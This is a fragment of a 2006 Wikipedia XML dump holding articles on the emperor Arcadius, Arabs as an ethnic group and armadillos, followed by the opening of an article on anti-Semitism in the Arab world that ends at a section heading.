*Stover, Johnnie M., ''Rhetoric and resistance in black women's autobiography'', Gainesville, Fla. [u.a.] : Univ. Press of Florida, 2003

* [[Autobiographical novel]]
* [[Autobiographical comics]]
* [[Family history]]
* [[Historical document]]


[[Category:Autobiographies| ]]
[[Category:Literary genres]]

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  <page>
    <title>Arcadius</title>
    <id>2180</id>
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      <comment>robot  Adding: la</comment>
      <text xml:space="preserve">: ''See also: [[Arcadius of Antioch]], Greek grammarian of the [[2nd century]]''

[[Image:Solidus-Arcadius-RIC 1205.jpg|thumb|300px|Arcadius, holding a [[labarum]], defeating an enemy.]]
'''Flavius Arcadius''' ([[377]]/[[378]]&amp;ndash;[[May 1]], [[408]]) was [[Roman Emperors|Roman Emperor]] in the Eastern half of the [[Roman Empire]] from [[395]] until his death.

Arcadius was the elder son of [[Theodosius I]] and [[Aelia Flaccilla]], and brother of [[Flavius Augustus Honorius|Honorius]], who would become a [[Western Roman Emperor]]. His father declared him an [[Augustus]] in January, [[383]]. His younger brother was also declared an Augustus in [[393]].

As Emperors, Honorius was under the control of the Romanized Vandal ''[[magister militum]]'' [[Stilicho|Flavius Stilicho]] while Arcadius was dominated by one of his ministers, [[Rufinus (Byzantine official)|Rufinus]].  Stilicho is alleged by some to have wanted control of both emperors, and is supposed to have had Rufinus assassinated by Gothic mercenaries in 395, but definite proof of these allegations is lacking.  In any case, Arcadius' new advisor [[Eutropius (Byzantine official)|Eutropius]] simply took Rufinus' place as the power behind the Eastern imperial throne.  Arcadius was also dominated by his wife [[Aelia Eudoxia]], who convinced her husband to dismiss Eutropius in [[399]].  Eudoxia was strongly opposed by [[John Chrysostom]], the [[Patriarch of Constantinople]], who felt that she had used her family's wealth to gain control over the emperor.  Eudoxia used her influence to have Chrysostom deposed in [[404]], but she died later that year.  

Arcadius was dominated for the rest of his rule by [[Anthemius (Byzantine Prefect)|Anthemius]], the [[Praetorian prefect|Praetorian Prefect]], who made peace with Stilicho in the West.  Arcadius himself was more concerned with appearing to be a pious [[Christianity|Christian]] than he was with political or military matters, and he died, only nominally in control of his empire, in 408.

See also: [[Byzantine Empire]].

==External links==
[http://www.seanmultimedia.com/Pie_Arcadius_Laws.html Laws of Arcadius], extracted from Justinian's ''[[Corpus Juris Civilis]]''
{{Commons|Arcadius}}

{{Byzantine Emperor | Prev=[[Theodosius I]] | CoEmperor= | Next=[[Theodosius II]]}}

[[Category:370s births]]
[[Category:408 deaths]]
[[Category:Roman emperors]]
[[Category:Byzantine emperors]]

[[Category:House of Theodosius]]

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  </page>
  <page>
    <title>Arab</title>
    <id>2185</id>
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      <timestamp>2006-03-04T05:13:08Z</timestamp>
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        <username>Guanaco</username>
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      <comment>clean up and bypass unambiguous redirects using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{OtherUses|the Arabian ethnicity}}
{{Ethnic group| image= 
|group=Arabs
|poptime=''c. '' 200-300 million
|popplace=[[Arab world]] 
|langs=[[Arabic language|Arabic]]
|rels=[[Islam]], [[Christianity]], [[Druze]], [[Judaism]], none or others
|related=[[Sephardic Jews]]/ &quot;Oriental&quot; Jews, [[Assyrians]], [[Maltese]], other [[Semitic]] groups; possibly [[Berbers]].
}}
The '''Arabs''' ([[Arabic language|Arabic]]: عرب ʻarab) are a large and [[heterogeneous]] [[ethnic group]] found throughout the [[Middle East]] and [[North Africa]], originating in the [[Arabian Peninsula]] of [[southwest Asia]].  

==Who is an Arab?==
The definition of who an Arab is has several aspects:
* [[Identity (social science)|Ethnic identity]]: someone who considers himself to be an Arab (regardless of [[racial]] or [[ethnic origin]]) and is recognized as such by others. 
* [[Language|Linguistic]]: someone whose [[first language]] is [[Arabic language|Arabic]] (including any of its [[Varieties of Arabic|varieties]]); this definition covers more than 700 million people. Arabic belongs to the [[Semitic]] family of languages.
* [[Genealogy|Genealogical]]: someone who can trace his or her ancestry back to the original inhabitants of the [[Arabian Peninsula]].
* [[Political geography|Political]]: someone who is a resident or [[citizen]] of a country where Arabic is an [[official language|official]] or [[national language]], or is a member of the [[Arab League]] or is part of the wider [[Arab world]]; this definition would cover more than 300 million people, but it is rather simplistic and rigid in that it excludes the entire [[Diaspora]] but includes [[indigenous]] or [[migrant]] [[ethnic minority|minorities]] 

The relative importance of these factors is estimated differently by different groups.  Most people who consider themselves Arabs do so on the basis of the overlap of the political and linguistic definitions. However, some members of groups which fulfill both criteria reject the identity on the basis of the genealogical definition; [[Lebanese]] [[Maronites]], for example, may reject the Arab label in favor of a narrower [[Phoenicia|Phoenician]]-Lebanese national identity, as do many Coptic and Muslim Egyptians who embrace the continuation of their ancient heritage. Groups using a non-Arabic liturgical language - such as [[Copts]] in [[Egypt]] - are especially likely to consider themselves non-Arab, even though they are not ethnically distinct from their Muslim compatriots. Not many people consider themselves Arab on the basis of the political definition without the linguistic one&amp;mdash;thus, [[Kurd]]s or [[Berber]]s do not usually identify themselves as Arab&amp;mdash;but some do (for instance, some Berbers do consider themselves Arabs, and Kurds were in some historical circumstances seen as Arabs or Turks or Persians). In addition, a majority of the population of [[Qatar]] and the [[United Arab Emirates]] is made up of non-citizen non-Arab [[immigrant]]s and so the political definition does not apply there either.

A ''[[hadith]]'' of questionable authenticity[http://www.islamtoday.com/show_detail_section.cfm?q_id=266&amp;main_cat_id=11], related by [[Ibn Asakir]] in ''Târîkh Dimashq'' and attributed by its narrator Salmân b. `Abd Allah to Islam's prophet [[Muhammad]], expresses a common sentiment in declaring that:

&lt;blockquote&gt;&quot;Being an Arab is not because of your father or mother, but being an Arab is on account of your tongue. Whoever speaks Arabic is an Arab.&quot;&lt;/blockquote&gt;

According to Habib Hassan Touma (1996, p.xviii), &quot;An 'Arab', in the modern sense of the word, is one who is a national of an Arab state, has command of the Arabic language, and possesses a fundamental knowledge of Arabian tradition, that is, of the manners, customs, and political and social systems of the culture.&quot;

On its formation in 1946, the [[Arab League]] defined an &quot;Arab&quot; as follows:

&lt;blockquote&gt;&quot;An Arab is a person whose language is Arabic, who lives in an Arabic speaking country, who is in sympathy with the aspirations of the Arabic speaking peoples.&quot;&lt;/blockquote&gt;

The genealogical definition was widely used in [[medieval]] times ([[Ibn Khaldun]], for instance, does not use the word ''Arab'' to refer to &quot;Arabized&quot; peoples, but only to those of originally Arabian descent), but is usually no longer considered to be particularly significant.

==Religions==
Before the coming of [[Islam]], most Arabs followed a religion featuring the worship of a number of deities, including [[Hubal]], [[Wadd]], [[Al-Lat]], [[Manat]], and [[Uzza]], while some tribes had converted to Christianity or Judaism, and a few individuals, the ''[[hanif]]s'', had apparently rejected [[polytheism]] in favor of a vague [[monotheism]].  The most prominent Arab Christian kingdoms were the [[Ghassanid]] and [[Lakhmid]] kingdoms.  With the expansion of Islam, the majority of Arabs were rapidly conquered and became Muslims, and the pre-Islamic polytheistic traditions disappeared.

At present, most Arabs are [[Muslim]]s.  [[Sunni Islam]] dominates in most areas, overwhelmingly so in North Africa; [[Shia Islam]] is prevalent in [[Bahrain]], [[Iran]], southern [[Iraq]] and adjacent parts of [[Saudi Arabia]], southern [[Lebanon]], parts of [[Syria]], and northern [[Yemen]].  The tiny [[Druze]] community, belonging to a secretive offshoot of Islam, is usually considered Arab, but sometimes considered an ethnicity in its own right.

Reliable estimates of the number of Arab [[Christian]]s, which in any case depends on the definition of &quot;Arab&quot; used, vary.  According to [http://arabworld.nitle.org/texts.php?module_id=6&amp;reading_id=63&amp;sequence=4 Fargues 1998], &quot;Today Christians only make up 9.2 % of the population of the Near East&quot;. In Lebanon they now number only about 40 % of the population, in Syria they make up about 10 to 15 %, in the Palestinian territories the figure is 3.8 %, and in Israel Arab Christians constitute 2.1 %. In Egypt, they constitute 5.9 % of the population, and in Iraq they presumably comprise 2.9 % of the populace. Most [[North America|North]] and [[South America]]n Arabs (about two-thirds) are [[Arab Christians]], particularly from [[Syria]], [[Palestine (region)|Palestine]], and [[Lebanon]].

[[Jew]]s from Arab countries - mainly [[Mizrahi Jews]] and [[Yemenite Jews]] - are today usually not categorised as Arab.  Sociologist Philip Mendes asserts that before the anti-Jewish actions of the 1930s and 1940s, overall [[Iraqi Jews]] &quot;viewed themselves as Arabs of the Jewish faith, rather than as a separate race or nationality&quot;. [http://www.labyrinth.net.au/~ajds/mendes_refugees.htm] Prior to the emergence of the term ''Mizrahi'', the term &quot;Arab Jews&quot; (''Yehudim ‘Áravim'', &amp;#1497;&amp;#1492;&amp;#1493;&amp;#1491;&amp;#1497;&amp;#1501; &amp;#1506;&amp;#1512;&amp;#1489;&amp;#1497;&amp;#1501;) was used to describe Jews of the [[Arab world]]. The term is rarely used today. The few remaining Jews in the Arab countries reside mostly in Morocco and Tunisia. Between the late 1940s and early 1960s, following the creation of the state of [[Israel]], most of these Jews left their countries of birth and are now mostly concentrated in Israel, but many also live in [[France]], and however more Jews reside within the [[United States]]. (see [[Jewish exodus from Arab lands]]).

==History==
The first written attestation of the ethnonym &quot;Arab&quot; occurs in an [[Assyria]]n inscription of [[853 BC]], where [[Shalmaneser III]] lists a King [[Gindibu]] of ''mâtu arbâi'' (Arab land) as among the people he defeated at the [[Battle of Karkar]].  Some of the names given in these texts are Aramaic, while others are the first attestations of Proto-Arabic dialects.  The [[Hebrew Bible]] likewise refers occasionally to peoples called ''`Arvi'' (or variants thereof), translated as &quot;Arab&quot; or &quot;Arabian&quot;.  The scope of the Hebrew term at this early stage is unclear, but it seems to have referred to various desert-dwelling [[Semitic]] tribes in the [[Syrian Desert]] and [[Arabia]].  Its earliest attested use referring to the southern &quot;[[Qahtanite]]&quot; Arabs is much later.

Proto-Arabic, or Ancient North Arabian, texts give a clearer picture of the Arabs' emergence into history.  The earliest such texts are written not in the modern Arabic alphabet, nor in its Nabataean ancestor, but in variants of the Epigraphic South Arabian ''[[musnad]]'', beginning in the 8th century BC with the [[Hasaean]] inscriptions of eastern Saudi Arabia, and continuing from the 6th century BC on with the [[Lihyanite]] texts (in southeastern Saudi Arabia) and the [[Thamudic]] texts (found throughout Arabia and the Sinai, and not in reality connected with [[Thamud]]). Later come the [[Safaitic]] inscriptions (beginning in the 1st century BC) and the many Arabic personal names attested in [[Nabataean]] inscriptions (which are, however, written in Aramaic.)  From about the 2nd century BC, a few inscriptions from [[Qaryat al-Faw]] (near [[Sulayyil]]) reveal a dialect which is no longer considered &quot;Proto-Arabic&quot;, but Pre-Classical Arabic.

By the fourth century AD, the Arab kingdoms of the [[Lakhmids]] in southern [[Iraq]] and [[Ghassanids]] in southern [[Syria]] had emerged just south of the [[Fertile Crescent]] and ended up allying respectively with the [[Sassanid]] and [[Byzantine Empire|Byzantine]] Empires. Thus they were constantly at war with each other on behalf of their imperial patrons.  However, their courts were responsible for some notable examples of pre-Islamic Arabic poetry, and for some of the few surviving [[pre-Islamic Arabic inscriptions]] in the Arabic alphabet.  The Lakhmid kingdom was dissolved by the Sassanids in 602, while the Ghassanids would hold out until engulfed by the expansion of [[Islam]].

In the [[Qur'an]], the word ''{{ArabDIN|ʿarab}}'' does not appear, only the [[nisba]] adjective, ''{{ArabDIN|ʿarabiyyun}}'': The Qur'an is referring to itself as ''{{ArabDIN|ʿarabiyyun}}'' &quot;Arabic&quot; and ''{{ArabDIN|mubinun}}'' &quot;clear&quot;. The two qualities are connected, for example in ayat [[Az-Zukhruf|43]].2-3, &quot;By the ''clear'' Book: We have made it an ''Arabic'' recitation in order that you may understand&quot;, and the Qur'an came to be regarded as the prime example of the ''{{ArabDIN|al-ʿarabiyyatu}}'', the language of the Arabs. The term ''[[I`rab|{{ArabDIN|ʾiʿrāb}}]]'' is from the same root, referring to a particularly clear and correct mode of speech. The plural noun ''{{ArabDIN|ʾaʿrāb}}'' refers to the [[Bedouin]] tribes of the desert who resisted Muhammad, for example in ayat [[At-Tawba|9]].97,
:''{{ArabDIN|ʾaʿrābu ʾašaddu kufrān wanifāqān}}'' &quot;the Bedouin are the worst in [[kafir|disbelief]] and hypocrisy&quot;. 
Based on this, in early Islamic terminology, ''{{ArabDIN|ʿarab}}'' referred to sedentary Arabs, living in cities such as Mecca and Medina, and ''{{ArabDIN|ʾaʿrāb}}'' referred to the Arab Bedouins, carrying a negative connotation due to the Qur'anic verdict just cited. Following the [[Islamic conquest]] of the [[8th century]], however, the language of the nomadic Arabs came to be regarded as preserving the highest purity by the grammarians following [[Abi Ishaq]], and the term  {{ArabDIN|kalam al-ʿArab}} &quot;language of the Arabs&quot; came to denote the uncontaminated language of the Bedouins.

The relation of ''{{ArabDIN|ʿarab}}''  and ''{{ArabDIN|ʾaʿrāb}}'' is complicated further by the notion of &quot;lost Arabs&quot;   ''{{ArabDIN|al-ʿArab al-ba'ida}}'' mentioned in the Qur'an as punished for their disbelief. All contemporary Arabs were considered as descended from two ancestors,  [[Qahtan]] and [[Adnan]], of which Qahtan was related to the &quot;lost Arabs&quot;, and the [[Southern Arabs]] were identified as of his lineage, regarded as the &quot;real Arabs&quot;, ''{{ArabDIN|al-ʿArab al-ʿariba}}'', while the Northern Arabs, including the tribes of Mecca, were considered the descendents of Adnan, in Islamic tradition traced back to [[Ismail]] son of [[Abraham]], said to have been arabized at a later period.

Versteegh (1997) is uncertain whether to ascribe this distinction to the memory of a real difference of origin of  the two groups, but it is certain that the difference was strongly felt in early Islamic times, even in [[Al-Andalus|Islamic Spain]], there was enmity between the  Qays of the Northern and the Kalb of the Southern group. The so-called [[Himyaritic language]] described by [[Al-Hamdani]]  (died [[946]]) appears to be a special case of language contact between the two groups, an originally  North Arabic dialect spoken in the South, and influenced by [[Old South Arabian]].

During the [[8th century|8th]] and [[9th century|9th]] centuries, the Arabs (specifically the [[Umayyad]]s, and later [[Abbasids]]) forged an empire whose borders touched southern [[France]] in the west, [[China]] in the east, [[Asia Minor]] in the north, and the [[Sudan]] in the south. This was one of the largest land empires in history. Throughout much of this area, the Arabs spread the religion of [[Islam]] and the Arabic language (the language of the [[Qur'an]]) through [[conversion]] and [[cultural assimilation|assimilation]]. Many groups came to be known as &quot;Arabs&quot; not through descent but through this process of [[Arabization]]. Thus, over time, the term ''Arab'' came to carry a broader meaning than the original ethnic term: ''cultural'' Arab vs. ''ethnic'' Arab. People in [[Sudan]], [[Egypt]], [[Culture of Morocco|Morocco]], [[Algeria]] and elsewhere became Arab through [[Arabization]].

[[Arab nationalism]] declares that Arabs are united in a shared history, culture and language. Arab nationalists believe that Arab identity encompasses more than outward physical characteristics, [[race]] or [[religion]]. A related ideology, [[Pan-Arabism]], calls for all Arab lands to be united as one [[state]]. Arab nationalism has often competed for existence with regional and ethnic nationalisms in the Middle East, such as Lebanese and Egyptian.

[[Anti-Arabism]] is hate or prejudice against Arabs.  It is usually also associated with anti-Muslim hatred.

== Traditional genealogy ==
Medieval Arab [[genealogist]]s divided the Arabs into three groups:
* the &quot;ancient Arabs&quot;, tribes that had vanished or been destroyed, such as [['Ad]] and [[Thamud]]; they are often alluded to in the [[Qur'an]] as examples of God's power to destroy wicked peoples.
*the &quot;Pure Arabs&quot; of South Arabia, descending from [[Qahtan]].  The [[Qahtanite]]s (Qahtanis) are said to have migrated the land of [[Yemen]] following the destruction of the [[Ma'rib Dam]] (''sadd Ma'rib''). The Qahtanite Arabs created the ancient civilizations of Yemen, notably the [[Sabaean]]s (known in the Bible as [[Sheba]].)
*The &quot;Arabized Arabs&quot; (''musta`ribah'') of North Arabia, descending from [[Adnan]].

The [[Arabic language]] spoken today in classical Quranic form was the result of a mix between the original Arabic of Qahtan and northern Arabic which shares a great deal with northern Semitic languages from the [[Levant]]. The Arabs take a great pride in their language and its survival as a usable and comprehensible language for over thousand years.

In Jewish and Christian traditions the [[Ishmaelites]] were described as an &quot;Arabian people&quot; at least by the time of Josephus, which became standard centuries prior to Islam (in which the term ''Hagarenes'', a pun on the Arabic ''[[muhajir]]'' and the name of [[Hagar]], was commonly used).  Efforts to reconcile the Biblical and Arab genealogies later led to conflicting attempts to trace Adnan to [[Ishmael]] (Ismail), the eldest son of [[Abraham]] and [[Hagar]]. [[Joktan]] was identified with Qahtan, probably due to his Biblical identification as the ancestor of Hazarmaveth ([[Hadramawt]]) and [[Sheba]].

== Etymology ==
{{main|Etymology of the word Arab}}
The term &quot;Arab&quot; or &quot;Arabian&quot; (and cognates in other languages) has been used to translate several different but similar sounding names of ancient peoples of the Middle East which do not necessarily have the same meaning or origin. The etymology of the term is of course closely linked to that of the place name &quot;Arabia&quot;. The root of the word has many meanings in Semitic languages including &quot;west / sunset&quot;, &quot;desert&quot;, &quot;mingle&quot;, &quot;merchant&quot;, &quot;raven&quot;, &quot;comprehensible&quot; all of which appear to have some relevance to the emergence of the name.

==References==
*Habib Hassan Touma (1996). ''The Music of the Arabs'', trans. Laurie Schwartz. Portland, Oregon: Amadeus Press. ISBN 0931340888.
* Edward Lipinski, ''Semitic Languages: Outlines of a Comparative Grammar'', 2nd ed., Orientalia Lovanensia Analecta: Leuven 2001
*Kees Versteegh, ''The Arabic Language'', Edinburgh University Press (1997) [http://arabworld.nitle.org/texts.php?module_id=1&amp;reading_id=36]
* [http://www.newadvent.org/cathen/01663a.htm The Catholic Encyclopedia, Robert Appleton Company, 1907, Online Edition, K. Night 2003: article Arabia]
*http://www.cia.gov/cia/publications/factbook/geos/le.html#People

==See also==
*[[Arabia]]
*[[Arab League]]
*[[Arab World]]
*[[Arabic alphabet]]
*[[Arabic language]]
*[[Arabs of North America]]
*[[Bedouin]]
*[[Nabataeans]]
*[[Pan-Arabism]]
*[[Semitic]]
*[[Philip the Arab]]

==External links==
*[http://www.salon.com/books/feature/2002/01/08/alphabet/ A is for Arabs: What the world owes Arabs and Muslims]
*[http://www.aaiusa.org/arab_world.htm Maps of the Arab World]
*[http://www.albawaba.com  News from Arabic countries]
*[http://www.ameinfo.com  Business news from Arab countries]
*[http://www.bayt.com Jobs and Careers in the Arab World]
*[http://nabataea.net/arabia.html Arabia in ancient history] - with a discussion of the ancient usage of the word ''Arab''
*[http://arabworld.nitle.org An Online Resource on Arab Culture and Civilization]
*[http://www.geocities.com/martinkramerorg/ArabNationalism.htm Arab Nationalism: Mistaken Identity] by [[Martin Kramer]]
*[http://www.al-islam.org/al-tawhid/arabnationalism.htm A Criticism of the Idea of Arab Nationalism]

[[Category:Arab| ]]

[[als:Araber]]
[[ar:عرب]]
[[bg:Араби]]
[[de:Araber]]
[[eo:Araboj]]
[[et:Araablased]]
[[fa:عرب]]
[[fi:Arabit]]
[[fr:Arabes]]
[[he:ערבים]]
[[hr:Arapi]]
[[it:Arabo]]
[[ja:アラブ人]]
[[ko:아랍인]]
[[la:Arabi]]
[[nl:Arabieren]]
[[no:Arabere]]
[[pl:Arabowie]]
[[pt:Árabe]]
[[ru:Арабы]]
[[sl:Arabci]]
[[sv:Araber]]
[[tt:Ğäräp xalqı]]
[[zh:阿拉伯人]]</text>
    </revision>
  </page>
  <page>
    <title>Armadillo</title>
    <id>2186</id>
    <revision>
      <id>41790357</id>
      <timestamp>2006-03-01T19:47:27Z</timestamp>
      <contributor>
        <username>Pbfurlong</username>
        <id>29766</id>
      </contributor>
      <minor />
      <comment>minor spelling correction</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Armadillo
| image = armadillo.jpg
| image_width = 200px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Xenarthra]]
| familia = '''Dasypodidae'''
| familia_authority = [[John Edward Gray|Gray]], 1821
| subdivision_ranks = Genera
| subdivision = 
[[Chlamyphorus]]&lt;br /&gt;
[[Cabassous]]&lt;br /&gt;
[[Chaetophractus]]&lt;br /&gt;
[[Dasypus]]&lt;br /&gt;
[[Euphractus]]&lt;br /&gt;
[[Priodontes]]&lt;br /&gt;
[[Tolypeutes]]&lt;br /&gt;
[[Zaedyus]]
}}
{{Otheruses2|armadillo}}
'''Armadillos''' are any of several small [[mammal]]s of the family '''Dasypodidae''',  mostly known for having a bony [[armor]] shell. Their average size is about 75 [[centimeter]]s (30 inches), including tail. All species are native to the [[Americas|American]] continents, where they inhabit a variety of environments. In the United States, the sole resident armadillo is the 9-banded armadillo ''(Dasypus novemcinctus)'', which is most common in the central southern states, particularly [[Texas]].

Armadillos are [[placenta]]l mammals in the order [[Xenarthra]], related to the [[anteater]]s and sloths. There are several species of armadillo, some of which are distinguished by how many bands they have on their armor. The nine-banded form can not roll itself into a ball. They mainly run away or burrow from predators .
They are prolific diggers, and many species use their sharp claws to dig for food such as [[grub]]s and/or to dig dens. The 9-banded armadillo prefers to build burrows in moist soil near the creeks, streams, and [[arroyo (creek)|arroyos]] near which it generally lives and feeds. The diet of armadillo species varies, but consists mainly of [[insect]]s, grubs, and other [[invertebrate]]s. Some species, however, are almost entirely termite/ant specialists.

The armor is formed by plates of dermal bone covered in small, overlapping , epidermal scales called ''[[scute]]s''.  This armor-like skin would appear to be the main defense of many armadillos, though, in fact, most flee predators by running and/or digging rather than relying on their armor.  Only the South American 3-banded armadillo (''[[Tolypeutes]]'') tends to rely heavily on its armor. When threatened by a [[predator]], Tolypeutes frequently will roll up into a ball. Other armadillo species cannot roll up because they have too many plates to curl. Instead, other armadillos will sometimes escape predators by running into thorny brush, relying  on their armor to protect them from the thorns. The North American 9-banded armadillo tends to jump straight in the air when surprised, and consequently often smacks itself into the undercarriage of cars passing over it.

Armadillos are often used in the study of [[leprosy]], since they, along with [[mice]], are the only known non-human animal species that can contract the disease systemically. They are particularly susceptible due to their unusually low body temperature, which is hospitable to the leprosy [[bacterium]] ([[Mycobacterium leprae]]). 

The 9-banded armadillos also serve science through their unusual reproductive system, in which four identical quadruplets (all the same sex) are born in each clutch of armadillos.  Because they are always identical, the group of four armadillos provide good subjects for scientific, behavioral, or medical tests that need consistent biological and genetic makeup in the testees.  This phenomenon of multiple identical birth, called ''[[polyembryony]]'', only manifests in the genus ''Dasypus'', not all armadillos as is commonly believed.

The armadillo was, over some resistance, made the state small mammal of Texas[http://www.shgresources.com/tx/symbols/smallmammal/]where it is considered a pest. In Maine, it is illegal to own an armadillo.

Armadillos can be kept as pets, although they require moist ground in which to dig and catch insects. They are difficult to domesticate fully.

==Trivia/interesting facts==
*In the [[Joe R. Lansdale]] novel ''Captains Outrageous'', a [[Texan]] armadillo named Bob is kept as a pet by Leonard Pine, one of the central characters.
*Because of the weight of its armor, an armadillo will sink in water unless it inflates its stomach with air, which often doubles its size.[http://www.flex.net/~lonestar/armadillo.htm]  
*A number of towns in Texas hold beauty pageants for armadillos.  [http://www.oaklaketrails.com/armadillo/armadillo.htm]
*''[[Glyptotherium texanum]]'' (extinct) was a close cousin of the armadillo, living in the tropical and subtropical regions of Florida, South Carolina, and Texas. It had a six-foot-long carapace and weighed in at approximately 2,000 pounds (1 ton).[http://www.amnh.org/science/biodiversity/extinction/Resources/Bestiary/Xenarthra.html]
*[[Bonobo]] chimpanzees and armadillos are the only mammals other than humans that engage in intercourse in the [[missionary position]] (face-to-face).
*German POWs in Texas would often refer to the armadillo as &quot;panzer swine&quot;.
*Recorded to be the animal with the most dreams in sleep.

==External links==
*Photographs of armadillo rolling into a ball [http://seabed.nationalgeographic.com/splat_ngx_pathfinder/templates/output/articles/gallery.tmpl?DB_NUM_PARAMS=2&amp;DB_PARAM_0=0503&amp;DB_PARAM_1=2].

[[Category:Mammals]]

[[da:Bæltedyr]]
[[de:Gürteltiere]]
[[es:Dasypodidae]]
[[eo:Dazipedoj]]
[[fr:Tatou]]
[[io:Armadilo]]
[[he:ארמדיליים]]
[[lt:Šarvuotiniai]]
[[nl:Gordeldieren]]
[[ja:アルマジロ]]
[[pl:Pancerniki]]
[[pt:Tatu]]
[[ru:Броненосцы]]
[[fi:Vyötiäiset]]
[[sv:Bältdjur]]</text>
    </revision>
  </page>
  <page>
    <title>Arabs and anti-Semitism</title>
    <id>2187</id>
    <revision>
      <id>41941089</id>
      <timestamp>2006-03-02T19:51:43Z</timestamp>
      <contributor>
        <username>Myopic Bookworm</username>
        <id>944187</id>
      </contributor>
      <comment>/* Saudi Arabia */ moved material from Status of religious freedom article</comment>
      <text xml:space="preserve">&lt;!-- Note. 
If you intend to insert something to the effect: Arabs view this term as [[oxymoronic]], as they themselves are [[semites]] - Please read the section [[#Usage]] first. 
--&gt;
This article describes issues of '''[[anti-Semitism]]''' (hostility towards or discrimination against [[Jew]]s) in the '''[[Arab world]]'''.

[[Jewish diaspora|Jewish communities]] existed as a [[minority]] in the lands where the Arabs were the predominant population for at least 2,600 years, since the [[Babylonian captivity]] ([[597 BC|597 BCE]]). Since then, at various times and places, there have been periods of intense anti-Semitism and other periods of peaceful coexistence. 

In the course of the [[Arab-Israeli conflict]], alleged and actual anti-Semitism has been a recurring issue in Arab countries, even as most of the Jewish population of these countries [[Jewish exodus from Arab lands|has fled or been forced to leave]].  

== Usage ==
A person who exibits anti-Semitic behavior may be of any ancestry, including a Jew or an Arab. For example, [[Johannes Pfefferkorn]], [[Karl Marx]] and [[Bobby Fischer]] had Jewish ancestry, but are often considered to be anti-Semites. ''See related [[anti-Semitism#Etymology and usage|Etymology and usage of the term anti-Semitism]].''

Some reject being labelled as &quot;anti-Semitic&quot;, claiming that their behavior is based on [[anti-Zionism]]. 
''See related [[Anti-Semitism#Anti-Semitism and anti-Zionism|Anti-Semitism and anti-Zionism]] and [[New anti-Semitism]].''

==History of Arab anti-Semitism before 1948==
Starting with the expansion of Islam in the first millennia, Jews, along with [[Christian]]s and [[Zoroastrianism|Zoroastrians]], typically had the legal status of [[dhimmi]] in Arab lands. As such, they were entitled to limited rights, tolerance, and protection, on the condition they pay a special poll tax (the &quot;[[jizya]]&quot;), which exempted them from military service, and also from payment of the [[Zakat]] alms tax required of Muslims.  As dhimmi, Jews were typically subjected to several restrictions, the application and severity of which varied by time and place: residency in segregated quarters, obligation to wear distinctive clothing, public subservience to Muslims, prohibitions against proselytizing and marrying Muslim women, and limited access to the legal systems. They sometimes attained high positions in government, notably as [[vizier]]s and [[physician]]s. Jewish communities, like Christian ones, were typically constituted as semi-autonomous entities managed by their own laws and leadership, who carried the responsibility for the community towards the Muslim rulers.  

Anti-Semitism in the [[Islamic world|Muslim world]] increased in the [[twentieth century]], as anti-Semitic propaganda and [[blood libel]]s were imported from [[Europe]] and as resentment against [[Zionism|Zionist]] efforts in [[British Mandate of Palestine]] spread. While anti-Semitism has certainly been heightened by the [[Arab-Israeli conflict]], there were an increasing number of [[pogrom]]s against Jews prior to the foundation of [[Israel]], including [[Nazi]]-inspired pogroms in [[Algeria]] in the 1930s, and massive attacks on the Jews in [[Iraq]] and [[Libya]] in the 1940s (see [[Farhud]]). George Gruen attributes the increased animosity towards Jews in the [[Arab world]] to several factors including: The breakdown of the [[Ottoman Empire]] and traditional [[Islamic]] society; domination by Western [[colonialism|colonial powers]] under which Jews gained a disproportionatly large role in the commercial, professional, and administrative life of the region; the rise of [[Arab nationalism]], whose proponents sought the wealth and positions of local Jews through government channels; resentment over Jewish [[nationalism]] and the Zionist movement; and the readiness of unpopular [[regime]]s to [[scapegoat]] local Jews for political purposes.[http://www.jcpa.org/jl/jl102.htm]

After the [[1948 Arab-Israeli War]], the [[Palestinian exodus]], the creation of the state of [[Israel]], and the independence of Arab countries from European control, conditions for Jews in the Arab world deteriorated.  Over the next few decades, almost all would flee the Arab world, some willingly, and some under threat (see [[Jewish exodus from Arab lands]]). In [[1945]] there were between 758,000 and 866,000 Jews (see table below) living in communities throughout the Arab world. Today, there are fewer than 8,000. In some Arab states, such as [[Libya]] (which was once around 3% Jewish), the Jewish community no longer exists; in other Arab countries, only a few hundred Jews remain.

==Arab anti-Semitism in the [[20th century|20th]] and 21st century==
===Saudi Arabia===
A Saudi government website initially stated that Jews would not be granted tourist visas to enter the country [http://www.house.gov/apps/list/press/ny09_weiner/022604Saudi.html]; it has since removed this statement, and apologized for posting &quot;erroneous information&quot;. Members of religions other than Islam, including Jews, are not permitted to practice their religion publicly in Saudi Arabia; according to the U.S. State Department [http://www.uscirf.gov/countries/countriesconcerns/Countries/Saudi_Arabia.html], religious freedom &quot;does not exist&quot; in Saudi Arabia. [[Wahhabism]] is the official religion of Saudi Arabia, and the tenets of that religion are enforced by law.

Saudi Arabian media often attacks Jews in books and news articles.  Saudi Arabian government officials and state religious leaders often promote the idea that &quot;the Jews&quot; are conspiring to take over the entire world; as proof of their claims they publish and frequently cite the anti-Semitic forgery, ''[[The Protocols of the Elders of Zion]]'' as factual.  The former King of Saudi Arabia allegedly gave visitors copies of both The Protocols and [[Mein Kampf]]. [http://www.yaf.org/speakers/op-ed/feder_semitism.html] In 2001, Arab Radio and Television of Saudi Arabia produced a 30-part television miniseries entitled &quot;Horseman Without a Horse&quot;, a dramatization of [[The Protocols of the Elders of Zion]]. [http://www.adl.org/presrele/islme_62/4013_62.asp]

Saudi Arabian government-sponsored newspapers have published articles claiming that Al Qaeda's [[September 11]], [[2001]] attack on the World Trade Center and the Pentagon was actually carried out by &quot;the Jews&quot;, also &quot;the Zionists&quot;. 

Many Saudi government newspapers promote the idea that a Jewish conspiracy pressed American President George W. Bush to go to war against [[Iraq]].

Saudi Arabian government newspapers suggest that hatred of all Jews is justifiable.  &quot;Why are they (the Jews) hated by all the people which hosted them, such as Iraq and Egypt thousands years ago, and Germany, Spain, France and the UK, up to the days they gained of power over the capital and the press, in order to rewrite the history?&quot; (Al-Riyadh, Saudi government daily, [[April 15]], [[2002]], Turki 'Abdallah as-Sudayri, ''All of History is against Them'')

===Arab Newspapers===
